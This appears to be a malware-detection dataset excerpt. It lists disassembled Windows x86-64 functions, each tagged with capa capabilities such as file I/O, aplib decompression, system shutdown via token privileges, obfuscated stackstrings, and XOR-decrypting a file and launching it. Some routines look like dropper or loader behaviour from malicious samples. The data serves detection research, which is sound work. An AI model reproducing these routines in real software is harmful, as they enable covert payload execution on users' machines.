joyce8/EMBER2024-capa huggingface dataset:
Function at 0x14003a340
Capabilities:
Read file on windows

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rbp
mov qword [rax + 0x18], rsi
mov qword [rax + 0x20], rdi
push r14
sub rsp, 0x20
mov rbx, rcx
test rcx, rcx
jne 0x14003a066
call fcn.14002d5dc
mov dword [rax], reloc.OLEAUT32.dll_SafeArrayAccessData
call fcn.14002d378
jmp 0x14003a1b1
mov eax, dword [rcx + 0x14]
shr eax, 0xd
test al, 1
je 0x14003a1b1
mov eax, dword [rcx + 0x14]
shr eax, 0xc
test al, 1
jne 0x14003a1b1
mov eax, dword [rcx + 0x14]
shr eax, 1
test al, 1
je 0x14003a095
lock or dword [rcx + 0x14], 0x10
jmp 0x14003a1b1
lock or dword [rcx + 0x14], 1
mov eax, dword [rcx + 0x14]
test eax, 0x4c0
jne 0x14003a0a9
call fcn.14003a6e0
mov esi, dword [rbx + 0x10]
cmp esi, 1
jne 0x14003a0b9
mov rax, qword [rbx]
mov bpl, byte [rax]
jmp 0x14003a0bc
xor bpl, bpl
mov rdi, qword [rbx + 8]
mov rcx, rbx
mov qword [rbx], rdi
call fcn.140039c58
mov r8d, dword [rbx + 0x20]
mov ecx, eax
mov rdx, rdi
call fcn.140044228
mov dword [rbx + 0x10], eax
lea ecx, [rax + 1]
cmp ecx, 2
jbe 0x14003a19f
mov eax, dword [rbx + 0x14]
test al, 6
jne 0x14003a14d
mov rcx, rbx
call fcn.140039c58
cmp eax, 0xffffffff
je 0x14003a138
mov rcx, rbx
call fcn.140039c58
cmp eax, 0xfffffffe
je 0x14003a138
mov rcx, rbx
call fcn.140039c58
movsxd rdi, eax
lea r14, [0x140075530]
mov rcx, rbx
sar rdi, 6
call fcn.140039c58
mov rcx, qword [r14 + rdi*8]
and eax, 0x3f
shl rax, 6
lea rdx, [rax + rcx]
jmp 0x14003a13f
lea rdx, [0x140072490]
mov al, byte [rdx + 0x38]
and al, 0x82
cmp al, 0x82
jne 0x14003a14d
lock or dword [rbx + 0x14], 0x20
cmp dword [rbx + 0x20], 0x200
jne 0x14003a171
mov eax, dword [rbx + 0x14]
shr eax, 6
test al, 1
je 0x14003a171
mov eax, dword [rbx + 0x14]
shr eax, 8
test al, 1
jne 0x14003a171
mov dword [rbx + 0x20], 0x1000
mov rax, qword [rbx]
cmp esi, 1
jne 0x14003a18f
movzx ecx, byte [rax]
dec dword [rbx + 0x10]
shl cx, 8
movzx eax, bpl
or cx, ax
inc qword [rbx]
jmp 0x14003a19a
movzx ecx, word [rax]
add dword [rbx + 0x10], 0xfffffffe
add qword [rbx], 2
movzx eax, cx
jmp 0x14003a1b6
neg eax
sbb eax, eax
and eax, 8
add eax, 8
lock or dword [rbx + 0x14], eax
and dword [rbx + 0x10], 0
mov eax, 0xffff
mov rbx, qword [rsp + 0x30]
mov rbp, qword [rsp + 0x38]
mov rsi, qword [rsp + 0x40]
mov rdi, qword [rsp + 0x48]
add rsp, 0x20
pop r14
ret
jmp 0x14003a030
Function at 0x14101d058
Capabilities:
Decompress data using aplib

Disassembly:
call fcn.14101d1df
push r10
mov r10, rsp
push r10
mov rsi, qword [r10 + 0x10]
mov rdi, qword [r10 + 0x20]
cld
mov dl, 0x80
mov al, byte [rsi]
inc rsi
mov byte [rdi], al
inc rdi
mov ebx, 2
add dl, dl
jne 0x14101d089
mov dl, byte [rsi]
inc rsi
adc dl, dl
jae 0x14101d06f
add dl, dl
jne 0x14101d096
mov dl, byte [rsi]
inc rsi
adc dl, dl
jae 0x14101d0f6
xor eax, eax
add dl, dl
jne 0x14101d0a5
mov dl, byte [rsi]
inc rsi
adc dl, dl
jae 0x14101d1ad
add dl, dl
jne 0x14101d0b6
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x14101d0c3
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x14101d0d0
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x14101d0dd
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc eax, eax
je 0x14101d0ea
push rdi
mov eax, eax
sub rdi, rax
mov al, byte [rdi]
pop rdi
mov byte [rdi], al
inc rdi
mov ebx, 2
jmp 0x14101d07e
mov eax, 1
add dl, dl
jne 0x14101d106
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x14101d113
mov dl, byte [rsi]
inc rsi
adc dl, dl
jb 0x14101d0fb
sub eax, ebx
mov ebx, 1
jne 0x14101d14c
mov ecx, 1
add dl, dl
jne 0x14101d12e
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc ecx, ecx
add dl, dl
jne 0x14101d13b
mov dl, byte [rsi]
inc rsi
adc dl, dl
jb 0x14101d123
push rsi
mov rsi, rdi
sub rsi, rbp
rep movsb byte [rdi], byte [rsi]
pop rsi
jmp 0x14101d07e
dec eax
shl eax, 8
mov al, byte [rsi]
inc rsi
mov ebp, eax
mov ecx, 1
add dl, dl
jne 0x14101d168
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc ecx, ecx
add dl, dl
jne 0x14101d175
mov dl, byte [rsi]
inc rsi
adc dl, dl
jb 0x14101d15d
cmp eax, 0x7d00
jae 0x14101d19b
cmp eax, 0x500
jb 0x14101d196
inc ecx
push rsi
mov rsi, rdi
sub rsi, rax
rep movsb byte [rdi], byte [rsi]
pop rsi
jmp 0x14101d07e
cmp eax, 0x7f
ja 0x14101d19e
add ecx, 2
push rsi
mov rsi, rdi
sub rsi, rax
rep movsb byte [rdi], byte [rsi]
pop rsi
jmp 0x14101d07e
mov al, byte [rsi]
inc rsi
xor ecx, ecx
shr al, 1
je 0x14101d1d2
adc ecx, 2
mov ebp, eax
push rsi
mov rsi, rdi
sub rsi, rax
rep movsb byte [rdi], byte [rsi]
pop rsi
mov ebx, 1
jmp 0x14101d07e
pop r10
sub rdi, qword [r10 + 0x20]
mov eax, edi
pop r10
ret 0x20
Function at 0x140001194
Capabilities:
Shutdown system

Disassembly:
sub rsp, 0x68
mov rax, qword [0x14000b008]
xor rax, rsp
mov qword [rsp + 0x50], rax
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
lea r8, [rsp + 0x30]
mov edx, 0x20
mov rcx, rax
call qword [sym.imp.ADVAPI32.dll_OpenProcessToken]
test eax, eax
je 0x140001222
lea r8, [rsp + 0x38]
xor ecx, ecx
lea rdx, str.SeShutdownPrivilege
call qword [sym.imp.ADVAPI32.dll_LookupPrivilegeValueW]
mov rcx, qword [rsp + 0x30]
test eax, eax
je 0x14000121c
mov rax, qword [rsp + 0x38]
lea r8, [rsp + 0x40]
and qword [rsp + 0x28], 0
xor r9d, r9d
and qword [rsp + 0x20], 0
xor edx, edx
mov qword [rsp + 0x44], rax
mov dword [rsp + 0x40], 1
mov dword [rsp + 0x4c], 2
call qword [sym.imp.ADVAPI32.dll_AdjustTokenPrivileges]
mov rcx, qword [rsp + 0x30]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov dword [rsp + 0x28], 0x80010002
xor r9d, r9d
xor r8d, r8d
mov dword [rsp + 0x20], 1
xor edx, edx
xor ecx, ecx
call qword [sym.imp.ADVAPI32.dll_InitiateSystemShutdownExW]
mov rcx, qword [rsp + 0x50]
xor rcx, rsp
call fcn.140006a80
add rsp, 0x68
ret

Function at 0x1400016b8
Capabilities:
Query or enumerate registry value

Disassembly:
mov qword [rsp + 8], rbx
push rbp
push rsi
push rdi
push r12
push r14
sub rsp, 0x30
mov rbp, rcx
mov rsi, rdx
mov ecx, 0x1002
mov eax, 2
mul rcx
mov r12, 0xffffffffffffffff
cmovo rax, r12
mov rcx, rax
call fcn.140006700
xor r14d, r14d
mov rdi, rax
test rax, rax
je 0x14000179b
mov dword [rsp + 0x70], 0x2000
jmp 0x14000174c
call qword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0xea
jne 0x140001793
cmp dword [rsp + 0x78], 7
jne 0x140001793
mov ebx, dword [rsp + 0x70]
mov rcx, rdi
call fcn.1400066f4
mov ecx, ebx
mov eax, 2
shr rcx, 1
add rcx, 2
mul rcx
cmovo rax, r12
mov rcx, rax
call fcn.140006700
mov rdi, rax
test rax, rax
je 0x14000179b
lea rax, [rsp + 0x70]
xor r8d, r8d
mov qword [rsp + 0x28], rax
lea r9, [rsp + 0x78]
mov rdx, rsi
mov qword [rsp + 0x20], rdi
mov rcx, rbp
call qword [sym.imp.ADVAPI32.dll_RegQueryValueExW]
test eax, eax
jne 0x140001707
mov ecx, dword [rsp + 0x70]
shr ecx, 1
lea eax, [rcx + 1]
mov word [rdi + rcx*2], r14w
mov rcx, rdi
mov word [rdi + rax*2], r14w
call fcn.140001380
test rax, rax
jne 0x14000179d
mov rcx, rdi
call fcn.1400066f4
xor eax, eax
mov rbx, qword [rsp + 0x60]
add rsp, 0x30
pop r14
pop r12
pop rdi
pop rsi
pop rbp
ret
Function at 0x140005050
Capabilities:
Check if file exists
Get file attributes

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rbp
mov qword [rax + 0x18], rsi
mov qword [rax + 0x20], rdi
push r14
sub rsp, 0x260
mov rax, qword [0x14000b008]
xor rax, rsp
mov qword [rsp + 0x250], rax
mov rax, qword [rsp + 0x290]
xor r14d, r14d
mov dword [rsp + 0x30], r14d
mov ebx, 2
test rdx, rdx
je 0x1400050a2
mov eax, 3
jmp 0x140005195
cmp r9d, ebx
jl 0x140005098
mov rcx, qword [rax]
cmp word [rcx], r14w
je 0x140005098
mov rbp, qword [rax + 8]
cmp word [rbp], r14w
je 0x140005098
xor r9d, r9d
lea r8, [rsp + 0x40]
mov edx, 0x104
call qword [sym.imp.KERNEL32.dll_GetFullPathNameW]
dec eax
cmp eax, 0x102
ja 0x140005193
lea rcx, [rsp + 0x40]
call qword [sym.imp.KERNEL32.dll_GetFileAttributesW]
cmp eax, 0xffffffff
je 0x140005193
lea rcx, str.newdev.dll
call qword [sym.imp.KERNEL32.dll_LoadLibraryW]
mov rdi, rax
test rax, rax
je 0x140005193
lea rdx, str.UpdateDriverForPlugAndPlayDevicesW
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rsi, rax
test rax, rax
je 0x14000518a
mov ecx, 1
call fcn.140006fa8
mov rcx, rax
lea r9, [rsp + 0x40]
mov r8, rbp
mov edx, 0xeeae
call fcn.140001084
mov rcx, rsi
call qword [0x1400083f8]
lea rax, [rsp + 0x30]
mov r9d, 1
lea r8, [rsp + 0x40]
mov qword [rsp + 0x20], rax
mov rdx, rbp
xor ecx, ecx
call rsi
test eax, eax
je 0x14000518a
mov ecx, 1
call fcn.140006fa8
mov rcx, rax
mov edx, 0xeeb2
call fcn.140001084
cmp dword [rsp + 0x30], r14d
mov ebx, r14d
setne bl
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_FreeLibrary]
mov eax, ebx
mov rcx, qword [rsp + 0x250]
xor rcx, rsp
call fcn.140006a80
lea r11, [rsp + 0x260]
mov rbx, qword [r11 + 0x10]
mov rbp, qword [r11 + 0x18]
mov rsi, qword [r11 + 0x20]
mov rdi, qword [r11 + 0x28]
mov rsp, r11
pop r14
ret
Function at 0x140006870
Capabilities:
Terminate process

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rsi
mov qword [rax + 0x18], rdi
mov qword [rax + 0x20], r12
push r14
sub rsp, 0x30
mov rax, qword gs:[0x30]
mov rbx, qword [rax + 8]
xor r14d, r14d
xor eax, eax
lock cmpxchg qword [0x14000b870], rbx
je 0x1400068c2
cmp rax, rbx
jne 0x1400068b5
mov ebx, 1
mov r14d, ebx
jmp 0x1400068c7
mov ecx, 0x3e8
call qword [sym.imp.KERNEL32.dll_Sleep]
jmp 0x140006899
mov ebx, 1
mov eax, dword [0x14000b878]
cmp eax, ebx
jne 0x1400068dd
mov ecx, 0x1f
call sub.msvcrt.dll__amsg_exit
jmp 0x140006946
mov eax, dword [0x14000b878]
test eax, eax
jne 0x140006940
mov dword [0x14000b878], ebx
lea r12, [0x140008438]
lea rdi, [0x140008420]
mov qword [rsp + 0x28], rdi
mov dword [rsp + 0x20], eax
cmp rdi, r12
jae 0x140006932
test eax, eax
jne 0x140006936
mov rsi, qword [rdi]
test rsi, rsi
je 0x140006927
mov rcx, rsi
mov rax, qword [0x1400083f8]
call rax
call rsi
mov dword [rsp + 0x20], eax
add rdi, 8
mov qword [rsp + 0x28], rdi
jmp 0x140006904
test eax, eax
je 0x140006946
mov eax, 0xff
jmp 0x140006a27
mov dword [0x14000b2b4], ebx
mov eax, dword [0x14000b878]
cmp eax, ebx
jne 0x14000696d
lea rdx, [0x140008418]
lea rcx, [0x140008408]
call sub.msvcrt.dll__initterm
mov dword [0x14000b878], 2
test r14d, r14d
jne 0x14000697b
xor eax, eax
xchg qword [0x14000b870], rax
cmp qword [0x14000b880], 0
je 0x1400069b3
lea rcx, [0x14000b880]
call fcn.140006e00
test eax, eax
je 0x1400069b3
mov rbx, qword [0x14000b880]
mov rcx, rbx
mov rax, qword [0x1400083f8]
call rax
xor r8d, r8d
lea edx, [r8 + 2]
xor ecx, ecx
call rbx
mov r8, qword [0x14000b2c8]
mov rdx, qword [0x14000b2c0]
mov ecx, dword [0x14000b2b8]
call fcn.140001ed0
mov dword [0x14000b2b0], eax
cmp dword [0x14000b2d0], 0
jne 0x1400069e3
mov ecx, eax
call qword [sym.imp.msvcrt.dll_exit]
cmp dword [0x14000b2b4], 0
jne 0x1400069f8
call qword [sym.imp.msvcrt.dll__cexit]
mov eax, dword [0x14000b2b0]
jmp 0x140006a27
mov rbx, qword [rsp + 0x40]
mov rsi, qword [rsp + 0x48]
mov rdi, qword [rsp + 0x50]
mov r12, qword [rsp + 0x58]
add rsp, 0x30
pop r14
ret
sub rsp, 0x28
call fcn.1400a5000
add rsp, 0x28
jmp 0x140006870

Function at 0x140006cec
Capabilities:
Parse pe header

Disassembly:
sub rsp, 0x18
xor edx, edx
lea rax, [rcx - 1]
cmp rax, 0xfffffffffffffffd
ja 0x140006d38
mov eax, 0x5a4d
cmp word [rcx], ax
jne 0x140006d30
cmp dword [rcx + 0x3c], edx
jl 0x140006d30
cmp dword [rcx + 0x3c], 0x10000000
jae 0x140006d30
movsxd rax, dword [rcx + 0x3c]
add rax, rcx
mov qword [rsp], rax
cmp dword [rax], 0x4550
cmovne rax, rdx
mov rdx, rax
mov qword [rsp], rax
jmp 0x140006d38
mov rax, rdx
add rsp, 0x18
ret
Function at 0x141f2e058
Capabilities:
Decompress data using aplib

Disassembly:
call fcn.141f2e1df
push r10
mov r10, rsp
push r10
mov rsi, qword [r10 + 0x10]
mov rdi, qword [r10 + 0x20]
cld
mov dl, pe_nt_image_headers64
mov al, byte [rsi]
inc rsi
mov byte [rdi], al
inc rdi
mov ebx, 2
add dl, dl
jne 0x141f2e089
mov dl, byte [rsi]
inc rsi
adc dl, dl
jae 0x141f2e06f
add dl, dl
jne 0x141f2e096
mov dl, byte [rsi]
inc rsi
adc dl, dl
jae 0x141f2e0f6
xor eax, eax
add dl, dl
jne 0x141f2e0a5
mov dl, byte [rsi]
inc rsi
adc dl, dl
jae 0x141f2e1ad
add dl, dl
jne 0x141f2e0b6
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x141f2e0c3
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x141f2e0d0
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x141f2e0dd
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc eax, eax
je 0x141f2e0ea
push rdi
mov eax, eax
sub rdi, rax
mov al, byte [rdi]
pop rdi
mov byte [rdi], al
inc rdi
mov ebx, 2
jmp 0x141f2e07e
mov eax, 1
add dl, dl
jne 0x141f2e106
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x141f2e113
mov dl, byte [rsi]
inc rsi
adc dl, dl
jb 0x141f2e0fb
sub eax, ebx
mov ebx, 1
jne 0x141f2e14c
mov ecx, 1
add dl, dl
jne 0x141f2e12e
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc ecx, ecx
add dl, dl
jne 0x141f2e13b
mov dl, byte [rsi]
inc rsi
adc dl, dl
jb 0x141f2e123
push rsi
mov rsi, rdi
sub rsi, rbp
rep movsb byte [rdi], byte [rsi]
pop rsi
jmp 0x141f2e07e
dec eax
shl eax, 8
mov al, byte [rsi]
inc rsi
mov ebp, eax
mov ecx, 1
add dl, dl
jne 0x141f2e168
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc ecx, ecx
add dl, dl
jne 0x141f2e175
mov dl, byte [rsi]
inc rsi
adc dl, dl
jb 0x141f2e15d
cmp eax, 0x7d00
jae 0x141f2e19b
cmp eax, 0x500
jb 0x141f2e196
inc ecx
push rsi
mov rsi, rdi
sub rsi, rax
rep movsb byte [rdi], byte [rsi]
pop rsi
jmp 0x141f2e07e
cmp eax, 0x7f
ja 0x141f2e19e
add ecx, 2
push rsi
mov rsi, rdi
sub rsi, rax
rep movsb byte [rdi], byte [rsi]
pop rsi
jmp 0x141f2e07e
mov al, byte [rsi]
inc rsi
xor ecx, ecx
shr al, 1
je 0x141f2e1d2
adc ecx, 2
mov ebp, eax
push rsi
mov rsi, rdi
sub rsi, rax
rep movsb byte [rdi], byte [rsi]
pop rsi
mov ebx, 1
jmp 0x141f2e07e
pop r10
sub rdi, qword [r10 + 0x20]
mov eax, edi
pop r10
ret 0x20
Function at 0x140001f90
Capabilities:
Reference http user-agent string

Disassembly:
mov qword [rsp + 8], rcx
sub rsp, 0x68
mov qword [rsp + 0x50], 0xfffffffffffffffe
mov rax, qword [0x1400a9610]
xor rax, rsp
mov qword [rsp + 0x58], rax
mov rcx, qword [rsp + 0x70]
add rcx, 0x20
call fcn.140002550
mov r8, rax
mov edx, 0x2712
mov rcx, qword [rsp + 0x70]
mov rcx, qword [rcx + 8]
call fcn.1400428a0
lea rdx, [0x14008c0c0]
lea rcx, [rsp + 0x28]
call fcn.1400023d0
nop
lea rcx, [rsp + 0x28]
call fcn.140002550
mov r8, rax
mov edx, 0x2722
mov rcx, qword [rsp + 0x70]
mov rcx, qword [rcx + 8]
call fcn.1400428a0
mov r8d, 5
mov edx, 0x44
mov rcx, qword [rsp + 0x70]
mov rcx, qword [rcx + 8]
call fcn.1400428a0
mov r8d, 1
mov edx, 0x34
mov rcx, qword [rsp + 0x70]
mov rcx, qword [rcx + 8]
call fcn.1400428a0
mov r8d, 1
mov edx, 0x63
mov rcx, qword [rsp + 0x70]
mov rcx, qword [rcx + 8]
call fcn.1400428a0
xor r8d, r8d
mov edx, Ordinal_50
mov rcx, qword [rsp + 0x70]
mov rcx, qword [rcx + 8]
call fcn.1400428a0
lea r8, [0x140002210]
mov edx, 0x4e2b
mov rcx, qword [rsp + 0x70]
mov rcx, qword [rcx + 8]
call fcn.1400428a0
mov r8, qword [rsp + 0x70]
mov edx, 0x2711
mov rcx, qword [rsp + 0x70]
mov rcx, qword [rcx + 8]
call fcn.1400428a0
xor r8d, r8d
mov edx, 0x40
mov rcx, qword [rsp + 0x70]
mov rcx, qword [rcx + 8]
call fcn.1400428a0
xor r8d, r8d
mov edx, 0x51
mov rcx, qword [rsp + 0x70]
mov rcx, qword [rcx + 8]
call fcn.1400428a0
nop
lea rcx, [rsp + 0x28]
call fcn.140002430
mov rcx, qword [rsp + 0x58]
xor rcx, rsp
call fcn.14002ba00
add rsp, 0x68
ret

Function at 0x140002270
Capabilities:
Write file on windows

Disassembly:
mov qword [rsp + 0x20], r9
mov qword [rsp + 0x18], r8
mov qword [rsp + 0x10], rdx
mov qword [rsp + 8], rcx
sub rsp, 0x38
mov r9, qword [rsp + 0x40]
mov r9, qword [r9 + 0x10]
mov r8, qword [rsp + 0x58]
mov rdx, qword [rsp + 0x50]
mov rcx, qword [rsp + 0x48]
call fcn.14002c5f4
mov qword [rsp + 0x20], rax
mov rax, qword [rsp + 0x20]
add rsp, 0x38
ret
Function at 0x140005090
Capabilities:
Delete file

Disassembly:
mov qword [rsp + 0x10], rdx
mov qword [rsp + 8], rcx
sub rsp, 0x188
mov rax, qword [0x1400a9610]
xor rax, rsp
mov qword [rsp + 0x170], rax
lea rdx, [0x14008cacf]
mov rcx, qword [rsp + 0x198]
call fcn.140012ff0
mov qword [rsp + 0x20], rax
cmp qword [rsp + 0x20], 0
jne 0x1400050db
xor eax, eax
jmp 0x1400051d7
mov rdx, qword [rsp + 0x190]
mov rcx, qword [rsp + 0x20]
call fcn.140013320
mov dword [rsp + 0x160], eax
cmp dword [rsp + 0x160], 0
je 0x14000510f
mov rcx, qword [rsp + 0x20]
call fcn.1400133a0
xor eax, eax
jmp 0x1400051d7
lea r8, [rsp + 0x30]
mov edx, 0xffffffff
mov rcx, qword [rsp + 0x20]
call fcn.140013060
mov dword [rsp + 0x160], eax
cmp dword [rsp + 0x160], 0
je 0x140005145
mov rcx, qword [rsp + 0x20]
call fcn.1400133a0
xor eax, eax
jmp 0x1400051d7
mov eax, dword [rsp + 0x30]
mov dword [rsp + 0x164], eax
mov dword [rsp + 0x168], 0
jmp 0x14000516e
mov eax, dword [rsp + 0x168]
add eax, 1
mov dword [rsp + 0x168], eax
mov eax, dword [rsp + 0x164]
cmp dword [rsp + 0x168], eax
jge 0x1400051ba
lea r8, [rsp + 0x30]
mov edx, dword [rsp + 0x168]
mov rcx, qword [rsp + 0x20]
call fcn.140013060
mov dword [rsp + 0x160], eax
lea r8, [rsp + 0x34]
mov edx, dword [rsp + 0x168]
mov rcx, qword [rsp + 0x20]
call fcn.140013290
mov dword [rsp + 0x160], eax
jmp 0x14000515d
mov rcx, qword [rsp + 0x20]
call fcn.1400133a0
mov rcx, qword [rsp + 0x198]
call qword [sym.imp.KERNEL32.dll_DeleteFileA]
mov eax, 1
mov rcx, qword [rsp + 0x170]
xor rcx, rsp
call fcn.14002ba00
add rsp, 0x188
ret

Function at 0x140005200
Capabilities:
Read file on windows
Write file on windows

Disassembly:
mov qword [rsp + 0x18], r8
mov qword [rsp + 0x10], rdx
mov qword [rsp + 8], rcx
sub rsp, 0x68
mov dword [rsp + 0x24], 0
mov rcx, qword [rsp + 0x70]
call fcn.140005050
mov rcx, qword [rsp + 0x80]
call fcn.14002c6b0
mov dword [rsp + 0x34], eax
lea rdx, [0x14008cad0]
mov rcx, qword [rsp + 0x70]
call fcn.14002c44c
mov qword [rsp + 0x28], rax
lea rdx, [0x14008cad4]
mov rcx, qword [rsp + 0x78]
call fcn.14002c44c
mov qword [rsp + 0x58], rax
mov rcx, qword [rsp + 0x28]
call fcn.14002d0d8
test eax, eax
jne 0x1400052ee
mov r9, qword [rsp + 0x28]
mov r8d, 1
mov edx, 1
lea rcx, [rsp + 0x20]
call fcn.14002d0b8
mov rcx, qword [rsp + 0x28]
call fcn.14002d0d8
test eax, eax
jne 0x1400052e9
mov eax, dword [rsp + 0x24]
cdq
idiv dword [rsp + 0x34]
movsxd rcx, edx
mov rax, qword [rsp + 0x80]
movzx eax, byte [rax + rcx]
mov byte [rsp + 0x30], al
movsx eax, byte [rsp + 0x20]
movsx ecx, byte [rsp + 0x30]
xor eax, ecx
mov byte [rsp + 0x20], al
mov r9, qword [rsp + 0x58]
mov r8d, 1
mov edx, 1
lea rcx, [rsp + 0x20]
call fcn.14002c5f4
mov eax, dword [rsp + 0x24]
add eax, 1
mov dword [rsp + 0x24], eax
jmp 0x140005262
mov rcx, qword [rsp + 0x28]
call fcn.14002c20c
mov rcx, qword [rsp + 0x58]
call fcn.14002c20c
add rsp, 0x68
ret
Function at 0x140005310
Capabilities:
Contain obfuscated stackstrings
Create process on windows

Disassembly:
mov qword [rsp + 8], rcx
push rbx
sub rsp, 0x270
mov qword [rsp + 0x258], 0xfffffffffffffffe
mov rax, qword [0x1400a9610]
xor rax, rsp
mov qword [rsp + 0x260], rax
mov rcx, qword [rsp + 0x280]
call fcn.1400218e4
mov r8d, 0x104
lea rdx, [rsp + 0xd0]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
lea rcx, [rsp + 0xd0]
call qword [sym.imp.SHLWAPI.dll_PathFindFileNameA]
mov rdx, rax
lea rcx, [0x14008cad8]
call fcn.14002d2b8
lea rdx, [0x14008cadc]
lea rcx, [rsp + 0xd0]
call fcn.1400057a0
test rax, rax
je 0x14000545a
lea rax, [0x14008cae8]
mov qword [rsp + 0x1e8], rax
lea rax, [0x14008cb00]
mov qword [rsp + 0x1e0], rax
mov qword [rsp + 0x1f0], 0
mov rcx, qword [rsp + 0x1e8]
call fcn.14002c6b0
mov rbx, rax
mov rcx, qword [rsp + 0x1e0]
call fcn.14002c6b0
lea rcx, [rbx + rax + 1]
call fcn.1400136f4
mov qword [rsp + 0x1f8], rax
mov rax, qword [rsp + 0x1f8]
mov qword [rsp + 0x1f0], rax
mov rdx, qword [rsp + 0x1e8]
mov rcx, qword [rsp + 0x1f0]
call fcn.14002d200
mov rdx, qword [rsp + 0x1e0]
mov rcx, qword [rsp + 0x1f0]
call fcn.14002d160
mov dword [rsp + 0x28], 1
mov qword [rsp + 0x20], 0
lea r9, [0x14008cad3]
mov r8, qword [rsp + 0x1f0]
lea rdx, [0x14008cb14]
xor ecx, ecx
call qword [sym.imp.SHELL32.dll_ShellExecuteA]
mov byte [rsp + 0xb0], 0x66
mov byte [rsp + 0xb1], WSAStartup
mov byte [rsp + 0xb2], WSAStartup
mov byte [rsp + 0xb3], 0x66
mov byte [rsp + 0xb4], WSAStartup
mov byte [rsp + 0xb5], reloc.WS2_32.dll_WSASetLastError
mov byte [rsp + 0xb6], reloc.WS2_32.dll_WSAGetLastError
mov byte [rsp + 0xb7], reloc.WS2_32.dll_WSAStartup
mov byte [rsp + 0xb8], 0x66
mov byte [rsp + 0xb9], 0x67
mov byte [rsp + 0xba], 0x65
mov byte [rsp + 0xbb], 0x79
mov byte [rsp + 0xbc], Ordinal_60
mov byte [rsp + 0xbd], reloc.WS2_32.dll_gethostname
mov byte [rsp + 0xbe], 0x61
mov byte [rsp + 0xbf], reloc.WS2_32.dll_WSAStartup
mov byte [rsp + 0xc0], 0x67
mov byte [rsp + 0xc1], WSAStartup
mov byte [rsp + 0xc2], 0
lea rcx, [rsp + 0x40]
call fcn.140001de0
nop
lea rdx, [0x1400a8230]
lea rcx, [rsp + 0x200]
call fcn.1400023d0
nop
lea rdx, [0x14008cb20]
lea rcx, [rsp + 0x228]
call fcn.1400023d0
nop
lea r8, [rsp + 0x200]
lea rdx, [rsp + 0x228]
lea rcx, [rsp + 0x40]
call fcn.1400020f0
nop
lea rcx, [rsp + 0x228]
call fcn.140002430
nop
lea rcx, [rsp + 0x200]
call fcn.140002430
lea rcx, [rsp + 0x40]
call fcn.140001ec0
lea r8, [rsp + 0xb0]
lea rdx, [0x1400a8340]
lea rcx, [0x1400a8230]
call fcn.140005200
lea rdx, [0x1400a8340]
lea rcx, [0x1400a8448]
call fcn.140005090
lea rdx, [0x1400a8218]
lea rcx, [0x1400a8448]
call qword [sym.imp.KERNEL32.dll_lstrcatA]
mov dword [rsp + 0x28], 1
mov qword [rsp + 0x20], 0
lea r9, [0x14008cad7]
lea r8, [0x1400a8448]
lea rdx, [0x14008cb78]
xor ecx, ecx
call qword [sym.imp.SHELL32.dll_ShellExecuteA]
mov dword [rsp + 0x250], 0
lea rcx, [rsp + 0x40]
call fcn.140001e60
mov eax, dword [rsp + 0x250]
mov rcx, qword [rsp + 0x260]
xor rcx, rsp
call fcn.14002ba00
add rsp, 0x270
pop rbx
ret
Function at 0x140006420
Capabilities:
Enumerate files on windows

Disassembly:
mov qword [rsp + 8], rcx
sub rsp, 0x3b8
mov qword [rsp + 0x3a0], 0xfffffffffffffffe
mov rax, qword [0x1400a9610]
xor rax, rsp
mov qword [rsp + 0x3a8], rax
lea rcx, [rsp + 0x240]
call fcn.140003f90
nop
mov dword [rsp + 0x248], 0
lea rdx, [rsp + 0x240]
lea rcx, [section..bss]
call fcn.140005620
lea rcx, [rsp + 0x240]
call fcn.140004010
lea rdx, [rsp + 0x250]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_FindFirstFileA]
mov qword [rsp + 0x390], rax
cmp qword [rsp + 0x390], 0xffffffffffffffff
je 0x140006503
mov eax, dword [rsp + 0x248]
add eax, 1
mov dword [rsp + 0x248], eax
lea rdx, [rsp + 0x250]
mov rcx, qword [rsp + 0x390]
call qword [sym.imp.KERNEL32.dll_FindNextFileA]
test eax, eax
je 0x1400064e6
mov eax, dword [rsp + 0x248]
add eax, 1
mov dword [rsp + 0x248], eax
jmp 0x1400064b9
mov rcx, qword [rsp + 0x390]
call qword [sym.imp.KERNEL32.dll_FindClose]
xor edx, edx
mov rcx, qword [rsp + 0x3c0]
call fcn.140007500
mov eax, dword [rsp + 0x248]
mov dword [rsp + 0x398], eax
lea rcx, [rsp + 0x240]
call fcn.140003fc0
mov eax, dword [rsp + 0x398]
mov rcx, qword [rsp + 0x3a8]
xor rcx, rsp
call fcn.14002ba00
add rsp, 0x3b8
ret